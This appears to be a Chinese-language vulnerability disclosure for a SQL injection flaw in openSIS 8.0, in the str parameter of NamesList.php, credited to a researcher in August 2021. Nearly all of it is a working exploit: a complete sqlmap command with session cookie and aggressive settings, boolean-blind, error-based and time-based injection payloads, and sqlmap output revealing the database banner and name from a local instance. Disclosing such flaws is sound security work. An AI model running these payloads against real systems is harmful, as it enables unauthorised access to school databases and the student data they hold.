当使用 MySQL（MariaDB）作为应用程序数据库时，openSIS 8.0 版本存在 SQL 注入漏洞。恶意攻击者可以通过易受攻击的 str= 参数向 MySQL（MariaDB）数据库执行 SQL 命令。
易受攻击的 PHP 页面：
NamesList.php
漏洞 Payload
sqlmap -u "http://localhost:8081/NamesList.php?str=J&block_id=1" --cookie="PHPSESSID=s8n71sv8ji77mdjkmh6cj1ik5d; miniSidebar=0" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36" --referer="http://localhost:8081/Modules.php?modname=miscellaneous/Portal.php&failed_login=0" --delay=0 --timeout=30 --retries=0 --dbms="MySQL" --level=3 --risk=3 --threads=8 --time-sec=5 -b --current-db --batch --answers="crack=N,dict=N,continue=Y,quit=N"
SQL 注入：
http://localhost:8081/NamesList.php
Parameter: str (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: str=J%' AND 4830=4830 AND 'mmPI%'='mmPI&block_id=1
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: str=J%' AND (SELECT 5261 FROM(SELECT COUNT(*),CONCAT(0x716b6b7a71,(SELECT (ELT(5261=5261,1))),0x7176706a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'YfUK%'='YfUK&block_id=1
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: str=J%' AND (SELECT 9071 FROM (SELECT(SLEEP(5)))hYUR) AND 'vbOt%'='vbOt&block_id=1
[18:41:23] [INFO] testing MySQL
[18:41:23] [WARNING] reflective value(s) found and filtering out
[18:41:23] [INFO] confirming MySQL
[18:41:23] [INFO] the back-end DBMS is MySQL
[18:41:23] [INFO] fetching banner
[18:41:23] [INFO] resumed: '10.5.11-MariaDB-1'
web application technology: PHP 7.4.21
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
banner: '10.5.11-MariaDB-1'
[18:41:23] [INFO] fetching current database
[18:41:23] [INFO] resumed: 'opensis5'
current database: 'opensis5'
由 Nathan Johnson 于 2021 年 8 月发现